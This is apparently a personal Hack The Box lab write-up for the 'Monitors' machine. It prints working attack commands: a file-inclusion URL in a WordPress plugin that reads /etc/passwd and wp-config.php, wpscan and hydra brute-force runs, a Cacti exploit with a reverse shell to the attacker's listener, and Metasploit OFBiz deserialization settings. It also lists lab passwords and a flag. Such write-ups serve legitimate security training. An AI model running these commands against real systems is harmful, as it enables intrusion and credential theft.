Hack The Box Monitors Writeup (Hard Linux)

Summary

Monitors runs SSH and Apache with WordPress, whose wp-with-spritz plugin includes whatever path its url parameter names. Reading /etc/passwd turns up marcus, and a php://filter read of wp-config.php gives the database password BestAdministrator@2020!. Brute forcing wp-login.php and SSH goes nowhere, but that same password logs into the cacti-admin.monitors.htb virtual host as admin, where Cacti 1.2.12 matches a public exploit that returns a reverse shell. Grepping the filesystem for marcus then turns up /home/marcus/.backup/backup.sh holding the password VerticalEdge2020 and the user flag. A service listens only on localhost:8443, so it is forwarded over SSH, and Metasploit’s apache_ofbiz_deserialization module against it returns root, although that root sits inside a Docker container and the notes record the escape as unfinished.

Initial Target - 10.10.10.238

export IP=10.10.10.238

Service Enumeration

IP Address	TCP Ports Open
10.10.10.238	22 (OpenSSH 7.6p1), 80 (Apache 2.4.29)

Target: Web Server (80/tcp)

BS01: File Inclusion

Explanation: A remote attacker could leverage the vulnerable plugin wp-with-spritz to read local files from the system.

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

1. Execute the following curl command to include local files: curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

File Inclusion [ Severity: Medium / High ~ 7 ]

• Vulnerable plugin: wp-with-spritz https[:]//exploit-db.com/exploits/44544

• PoC: http[:]//monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd

Valid system user: marcus

wp-config inclusion http[:]//monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=php://filter/convert.base64-encode/resource=../../../wp-config.php

• Database information

/** The name of the database for WordPress /
define( 'DB_NAME', 'wordpress' );

/** MySQL database username /
define( 'DB_USER', 'wpadmin' );

/** MySQL database password /
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

/** MySQL hostname /
define( 'DB_HOST', 'localhost' );

• Bruteforcing /wp-login.php $ wpscan –url http://monitors.htb -U admin -P /usr/share/wordlists/rockyou.txt 22826 passwords tried / 0 valid [ 30+ minutes ]

• Bruteforcing SSH hydra -l marcus -P /usr/share/wordlists/rockyou.txtIP ssh -V -f 3698 passwords tried / 0 valid [ 5+ minutes ]

• Tried to perform a possible stored XSS, which would be analysed by the admin. [ Comment at the ‘hello world’ blog post ]

Subdomain

http[:]//cacti-admin.monitors.htb

• Able to log in as admin:BestAdministrator@2020!

Foothold

• The software version is 1.2.12 $ searchsploit cacti 1.2.12 https[:]//exploit-db.com/exploits/49810

nc -lvnp 9999 python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! –lhost 10.10.14.4 –lport 9999

Horizontal privilege escalation

$ grep ‘marcus’ /etc -R 2>/dev/null

$ cat /home/marcus/.backup/backup.sh

• Password for marcus VerticalEdge2020

632f3703656fe22db98f571ba479baac [ user flag ]

Vertical privilege escalation

• Suspisious service running internally at port 8443 ssh -L 8443:localhost:8443 marcus@IP

• I gained access as root via a module on metasploit linux/http/apache_ofbiz_deserialization

Module options (exploit/linux/http/apache_ofbiz_deserialization):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][
                                         ...]
   RHOSTS     127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file
                                          with syntax 'file:<path>'
   RPORT      8443             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This m
                                         ust be an address on the local machine or 0.0.0.0 to lis
                                         ten on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly ge
                                         nerated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.4       yes       The listen address (an interface may be specified)
   LPORT  8001             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper

• This is a docker container. Tried to scape, but I couldn’t.

Learned

• Enumeration of subdomains. Need always to search for apache files.

• Docker container escape methods (?)